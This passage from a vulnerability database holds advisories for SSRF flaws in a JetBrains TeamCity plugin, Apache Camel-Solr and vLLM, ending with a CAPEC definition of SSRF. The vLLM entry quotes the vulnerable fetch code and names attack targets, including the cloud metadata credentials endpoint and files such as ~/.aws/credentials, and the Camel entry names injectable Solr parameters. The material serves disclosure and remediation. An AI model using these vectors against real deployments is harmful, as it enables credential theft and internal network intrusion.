    "CVE-2020-35667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-03T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "JetBrains TeamCity Plugin before 2020.2.85695 SSRF. Vulnerability that could potentially expose user credentials.",
  "id": "GHSA-4gwr-3v6m-22jj",
  "modified": "2022-05-24T17:40:49Z",
  "published": "2022-05-24T17:40:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35667"
    },
    {
      "type": "WEB",
      "url": "https://blog.jetbrains.com"
    },
    {
      "type": "WEB",
      "url": "https://blog.jetbrains.com/blog/2021/02/03/jetbrains-security-bulletin-q4-2020"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-4H4F-V54Q-7PQ8

Vulnerability from github – Published: 2026-07-06 09:30 – Updated: 2026-08-28 21:52
VLAI
Summary
Apache Camel-Solr: The SolrParam. and SolrField. Exchange header prefixes used non-Camel-prefixed names that bypass the HTTP header filter, allowing an HTTP client to inject Solr query parameters (server-side request forgery) and document fields
Details

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), Improper Input Validation, Server-Side Request Forgery (SSRF) vulnerability in Apache Camel Solr component.

The camel-solr producer copies Exchange message headers whose names begin with the SolrParam. prefix into the parameters of the Solr request, and headers whose names begin with the SolrField. prefix into the fields of the indexed Solr document. The prefix constants (SolrConstants.HEADER_PARAM_PREFIX / HEADER_FIELD_PREFIX) were the plain strings SolrParam. / SolrField.. Because these names do not start with the Camel / camel prefix, HttpHeaderFilterStrategy - which blocks only the Camel header namespace on the HTTP boundary - let them pass from an inbound HTTP request straight into the Exchange. In a route that bridges an HTTP consumer (for example platform-http) into a solr: producer, any HTTP client could therefore set SolrParam. headers to inject arbitrary Solr request parameters - including shards or stream.url, which cause the Solr server to issue server-side requests to an attacker-chosen URL (server-side request forgery, for example to an internal service or a cloud metadata endpoint), or qt to reach administrative request handlers - and set SolrField. headers to inject arbitrary fields into indexed documents. No credentials are required when the bridging consumer is unauthenticated. This issue affects Apache Camel: from 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0.

Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. After upgrading, routes that set Solr parameters or fields via the raw header prefixes must use CamelSolrParam. / CamelSolrField. instead of SolrParam. / SolrField.. For deployments that cannot upgrade immediately, strip the SolrParam. and SolrField. headers from any untrusted ingress before the solr: producer, and set the required Solr parameters and fields from a trusted source in the route.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-solr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.14.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-solr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.15.0"
            },
            {
              "fixed": "4.18.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-solr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.19.0"
            },
            {
              "fixed": "4.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T21:52:11Z",
    "nvd_published_at": "2026-07-06T09:16:37Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027), Improper Input Validation, Server-Side Request Forgery (SSRF) vulnerability in Apache Camel Solr component.\n\nThe camel-solr producer copies Exchange message headers whose names begin with the SolrParam. prefix into the parameters of the Solr request, and headers whose names begin with the SolrField. prefix into the fields of the indexed Solr document. The prefix constants (SolrConstants.HEADER_PARAM_PREFIX / HEADER_FIELD_PREFIX) were the plain strings SolrParam. / SolrField.. Because these names do not start with the Camel / camel prefix, HttpHeaderFilterStrategy - which blocks only the Camel header namespace on the HTTP boundary - let them pass from an inbound HTTP request straight into the Exchange. In a route that bridges an HTTP consumer (for example platform-http) into a solr: producer, any HTTP client could therefore set SolrParam.* headers to inject arbitrary Solr request parameters - including shards or stream.url, which cause the Solr server to issue server-side requests to an attacker-chosen URL (server-side request forgery, for example to an internal service or a cloud metadata endpoint), or qt to reach administrative request handlers - and set SolrField.* headers to inject arbitrary fields into indexed documents. No credentials are required when the bridging consumer is unauthenticated.\nThis issue affects Apache Camel: from 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0.\n\nUsers are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. After upgrading, routes that set Solr parameters or fields via the raw header prefixes must use CamelSolrParam. / CamelSolrField. instead of SolrParam. / SolrField.. For deployments that cannot upgrade immediately, strip the SolrParam.* and SolrField.* headers from any untrusted ingress before the solr: producer, and set the required Solr parameters and fields from a trusted source in the route.",
  "id": "GHSA-4h4f-v54q-7pq8",
  "modified": "2026-08-28T21:52:11Z",
  "published": "2026-07-06T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48203"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/pull/23410"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/pull/23483"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/pull/23489"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/commit/4578a9014a6b7a914cf16baf2c5bf62a7b163a88"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/commit/cfc0d51f015b3112eae4ce0968d045f00e95c796"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/commit/f79cbe3f8bc3fe1095d8492e9ef321289451d457"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/camel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/releases/tag/camel-4.14.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/releases/tag/camel-4.18.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/releases/tag/camel-4.21.0"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/CAMEL-23597"
    },
    {
      "type": "WEB",
      "url": "http://camel.apache.org/security/CVE-2026-48203.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/05/17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Camel-Solr: The SolrParam. and SolrField. Exchange header prefixes used non-Camel-prefixed names that bypass the HTTP header filter, allowing an HTTP client to inject Solr query parameters (server-side request forgery) and document fields"
}

GHSA-4HHP-H66F-J5J7

Vulnerability from github – Published: 2026-09-08 20:42 – Updated: 2026-09-08 20:42
VLAI
Summary
vLLM: SSRF + arbitrary local file read in MiMoV2OmniMultiModalProcessor `_fetch_image` and audio loader bypass MediaConnector protections
Details

Summary

vllm/transformers_utils/processors/mimo_v2_omni.py — the multimodal processor for MiMoV2OmniForCausalLM — issues requests.get(...) directly on user-supplied image and audio URL strings and Image.open(...) on user-supplied local paths, without the SSRF / allowed_local_media_path checks that vllm.multimodal.utils.MediaConnector was hardened with in GHSA-qh4c-xf7m-gxfc, GHSA-v359-jj2v-j536, and GHSA-pf3h-qjgv-vcpr.

This is the same bug class as those three published advisories, in a code path the patches missed. When a user passes a URL or local-file string through multi_modal_data (e.g. LLM.generate(multi_modal_data={"image": "http://..."})), the processor takes the unsanitized string and dispatches it without any URL-scheme allowlist, network-target allowlist, size cap, or local-path allowlist.

Details

File: vllm/transformers_utils/processors/mimo_v2_omni.py (current main)

Sink 1 — image SSRF + local-file read (_fetch_image, lines 231–249):

def _fetch_image(src: Any) -> Image.Image:
    if isinstance(src, Image.Image):
        return _to_rgb(src)
    if isinstance(src, bytes):
        return _to_rgb(copy.deepcopy(Image.open(BytesIO(src))))
    if isinstance(src, str):
        if src.startswith(("http://", "https://")):
            r = requests.get(src, timeout=30)              # SSRF: no allowlist, follows redirects
            r.raise_for_status()
            return _to_rgb(copy.deepcopy(Image.open(BytesIO(r.content))))
        if src.startswith("file://"):
            return _to_rgb(Image.open(src[7:]))            # arbitrary local file read
        if src.startswith("data:image"):
            ...
        return _to_rgb(Image.open(src))                    # fallback also opens local files
    raise ValueError(f"Unrecognized image source: {type(src)}")

Sink 2 — audio SSRF (around line 471):

elif audio.startswith(("http://", "https://")):
    r = requests.get(audio, timeout=30)                    # SSRF: same pattern
    r.raise_for_status()
    file_obj = io.BytesIO(r.content)

Reachability. _fetch_image is invoked from MiMoVLProcessor.process_image:

def process_image(self, image: ImageInput) -> torch.Tensor:
    kw = self._resolve_img_kw(image)
    src = image.image
    if isinstance(src, (str, bytes)):
        src = _fetch_image(src)
    ...

MiMoVLProcessor is wrapped by MiMoV2OmniMultiModalProcessor and registered for the MiMoV2OmniForCausalLM model architecture (vllm/model_executor/models/mimo_v2_omni.py:1169). Whenever a user passes a string into multi_modal_data["image"] (or ["audio"]) for this model, the unsanitized URL/path reaches the sink.

Comparison to the recent fixes. The remediation pattern adopted in the three earlier advisories was to route every external resource fetch through MediaConnector, which checks allowed_local_media_path and applies SSRF protection before issuing the network request. chat_utils.py (lines 838, 902, 924, 963, 1053, 1081) already uses self._connector.fetch_image / fetch_audio / fetch_video. The model processor in mimo_v2_omni.py was added later and skipped the connector — it calls requests.get and Image.open directly. Result: the public OpenAI chat-completion path is protected, but library use (LLM.generate(multi_modal_data=...)), batch processing, and any other path that lets a string reach the processor receive no protection.

Impact

  1. SSRF — internal-network probing / cloud-metadata theft. Standard requests.get follows redirects and accepts any URL. An attacker who controls a multi_modal_data value can:
  2. read AWS / GCP / Azure instance metadata (e.g. http://169.254.169.254/latest/meta-data/iam/security-credentials/),
  3. probe internal services on the vLLM host (http://127.0.0.1:<port>, http://10.x.y.z),
  4. exfiltrate via DNS / HTTP timing oracles even when the body is rejected by Image.open.
  5. Arbitrary local file read via file://path (line 242) and the unguarded fallback Image.open(src) (line 248). Any file readable by the vLLM process is reachable through the model pipeline; with suitable formats this exposes /etc/passwd, ~/.aws/credentials, etc.
  6. Server-side traffic generation / amplification by hammering arbitrary URLs from the vLLM host, with a 30-second timeout per request.

Suggested remediation

Replace direct requests.get and bare Image.open paths with MediaConnector.fetch_image / fetch_audio_async (or pass the inputs through MediaConnector before they reach the processor):

# vllm/transformers_utils/processors/mimo_v2_omni.py
from vllm.multimodal.utils import MediaConnector

_connector = MediaConnector()

def _fetch_image(src):
    if isinstance(src, Image.Image):
        return _to_rgb(src)
    if isinstance(src, bytes):
        return _to_rgb(copy.deepcopy(Image.open(BytesIO(src))))
    if isinstance(src, str):
        return _to_rgb(_connector.fetch_image(src))   # delegates to the hardened path
    raise ValueError(f"Unrecognized image source: {type(src)}")

Same change for the audio loader at line 471. This re-uses the SSRF allowlist, allowed_local_media_path policy, and size caps that the previous patches added.

Alternative: forbid str src from reaching the processor and require all multi-modal pre-processing to go through chat_utils.py / MediaConnector before hitting the model. Larger surface change, but completes the architectural fix.

Discovery

Static review on vllm@main (HEAD as of 2026-04-30) — found by triaging the file list against the three recent SSRF advisories: the mimo_v2_omni.py processor, added after those fixes, reintroduced the same bypass class.

Reporter

Ievgen Bondarenko — sactransport2000@gmail.com — GitHub @ibondarenko1

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T20:42:00Z",
    "nvd_published_at": "2026-08-17T21:16:48Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`vllm/transformers_utils/processors/mimo_v2_omni.py` \u2014 the multimodal processor for `MiMoV2OmniForCausalLM` \u2014 issues `requests.get(...)` directly on user-supplied image and audio URL strings and `Image.open(...)` on user-supplied local paths, **without** the SSRF / `allowed_local_media_path` checks that `vllm.multimodal.utils.MediaConnector` was hardened with in **GHSA-qh4c-xf7m-gxfc**, **GHSA-v359-jj2v-j536**, and **GHSA-pf3h-qjgv-vcpr**.\n\nThis is the same bug class as those three published advisories, in a code path the patches missed. When a user passes a URL or local-file string through `multi_modal_data` (e.g. `LLM.generate(multi_modal_data={\"image\": \"http://...\"})`), the processor takes the unsanitized string and dispatches it without any URL-scheme allowlist, network-target allowlist, size cap, or local-path allowlist.\n\n### Details\n\n**File:** `vllm/transformers_utils/processors/mimo_v2_omni.py` (current `main`)\n\n**Sink 1 \u2014 image SSRF + local-file read (`_fetch_image`, lines 231\u2013249):**\n\n```python\ndef _fetch_image(src: Any) -\u003e Image.Image:\n    if isinstance(src, Image.Image):\n        return _to_rgb(src)\n    if isinstance(src, bytes):\n        return _to_rgb(copy.deepcopy(Image.open(BytesIO(src))))\n    if isinstance(src, str):\n        if src.startswith((\"http://\", \"https://\")):\n            r = requests.get(src, timeout=30)              # SSRF: no allowlist, follows redirects\n            r.raise_for_status()\n            return _to_rgb(copy.deepcopy(Image.open(BytesIO(r.content))))\n        if src.startswith(\"file://\"):\n            return _to_rgb(Image.open(src[7:]))            # arbitrary local file read\n        if src.startswith(\"data:image\"):\n            ...\n        return _to_rgb(Image.open(src))                    # fallback also opens local files\n    raise ValueError(f\"Unrecognized image source: {type(src)}\")\n```\n\n**Sink 2 \u2014 audio SSRF (around line 471):**\n\n```python\nelif audio.startswith((\"http://\", \"https://\")):\n    r = requests.get(audio, timeout=30)                    # SSRF: same pattern\n    r.raise_for_status()\n    file_obj = io.BytesIO(r.content)\n```\n\n**Reachability.** `_fetch_image` is invoked from `MiMoVLProcessor.process_image`:\n\n```python\ndef process_image(self, image: ImageInput) -\u003e torch.Tensor:\n    kw = self._resolve_img_kw(image)\n    src = image.image\n    if isinstance(src, (str, bytes)):\n        src = _fetch_image(src)\n    ...\n```\n\n`MiMoVLProcessor` is wrapped by `MiMoV2OmniMultiModalProcessor` and registered for the `MiMoV2OmniForCausalLM` model architecture (`vllm/model_executor/models/mimo_v2_omni.py:1169`). Whenever a user passes a string into `multi_modal_data[\"image\"]` (or `[\"audio\"]`) for this model, the unsanitized URL/path reaches the sink.\n\n**Comparison to the recent fixes.** The remediation pattern adopted in the three earlier advisories was to route every external resource fetch through `MediaConnector`, which checks `allowed_local_media_path` and applies SSRF protection before issuing the network request. `chat_utils.py` (lines 838, 902, 924, 963, 1053, 1081) already uses `self._connector.fetch_image / fetch_audio / fetch_video`. The model processor in `mimo_v2_omni.py` was added later and skipped the connector \u2014 it calls `requests.get` and `Image.open` directly. Result: the public OpenAI chat-completion path is protected, but library use (`LLM.generate(multi_modal_data=...)`), batch processing, and any other path that lets a string reach the processor receive no protection.\n\n### Impact\n\n1. **SSRF \u2014 internal-network probing / cloud-metadata theft.** Standard `requests.get` follows redirects and accepts any URL. An attacker who controls a `multi_modal_data` value can:\n   - read AWS / GCP / Azure instance metadata (e.g. `http://169.254.169.254/latest/meta-data/iam/security-credentials/`),\n   - probe internal services on the vLLM host (`http://127.0.0.1:\u003cport\u003e`, `http://10.x.y.z`),\n   - exfiltrate via DNS / HTTP timing oracles even when the body is rejected by `Image.open`.\n2. **Arbitrary local file read** via `file://path` (line 242) and the unguarded fallback `Image.open(src)` (line 248). Any file readable by the vLLM process is reachable through the model pipeline; with suitable formats this exposes `/etc/passwd`, `~/.aws/credentials`, etc.\n3. **Server-side traffic generation / amplification** by hammering arbitrary URLs from the vLLM host, with a 30-second timeout per request.\n\n### Suggested remediation\n\nReplace direct `requests.get` and bare `Image.open` paths with `MediaConnector.fetch_image` / `fetch_audio_async` (or pass the inputs through `MediaConnector` before they reach the processor):\n\n```python\n# vllm/transformers_utils/processors/mimo_v2_omni.py\nfrom vllm.multimodal.utils import MediaConnector\n\n_connector = MediaConnector()\n\ndef _fetch_image(src):\n    if isinstance(src, Image.Image):\n        return _to_rgb(src)\n    if isinstance(src, bytes):\n        return _to_rgb(copy.deepcopy(Image.open(BytesIO(src))))\n    if isinstance(src, str):\n        return _to_rgb(_connector.fetch_image(src))   # delegates to the hardened path\n    raise ValueError(f\"Unrecognized image source: {type(src)}\")\n```\n\nSame change for the audio loader at line 471. This re-uses the SSRF allowlist, `allowed_local_media_path` policy, and size caps that the previous patches added.\n\nAlternative: forbid `str` `src` from reaching the processor and require all multi-modal pre-processing to go through `chat_utils.py` / `MediaConnector` before hitting the model. Larger surface change, but completes the architectural fix.\n\n### Discovery\n\nStatic review on `vllm@main` (HEAD as of 2026-04-30) \u2014 found by triaging the file list against the three recent SSRF advisories: the `mimo_v2_omni.py` processor, added after those fixes, reintroduced the same bypass class.\n\n### Reporter\n\nIevgen Bondarenko \u2014 `sactransport2000@gmail.com` \u2014 GitHub `@ibondarenko1`",
  "id": "GHSA-4hhp-h66f-j5j7",
  "modified": "2026-09-08T20:42:00Z",
  "published": "2026-09-08T20:42:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-4hhp-h66f-j5j7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73560"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/43117"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/54503ecec0f3ac31e5ecfc5f28652e4cc42307b5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/releases/tag/v0.26.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM: SSRF + arbitrary local file read in MiMoV2OmniMultiModalProcessor `_fetch_image` and audio loader bypass MediaConnector protections"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.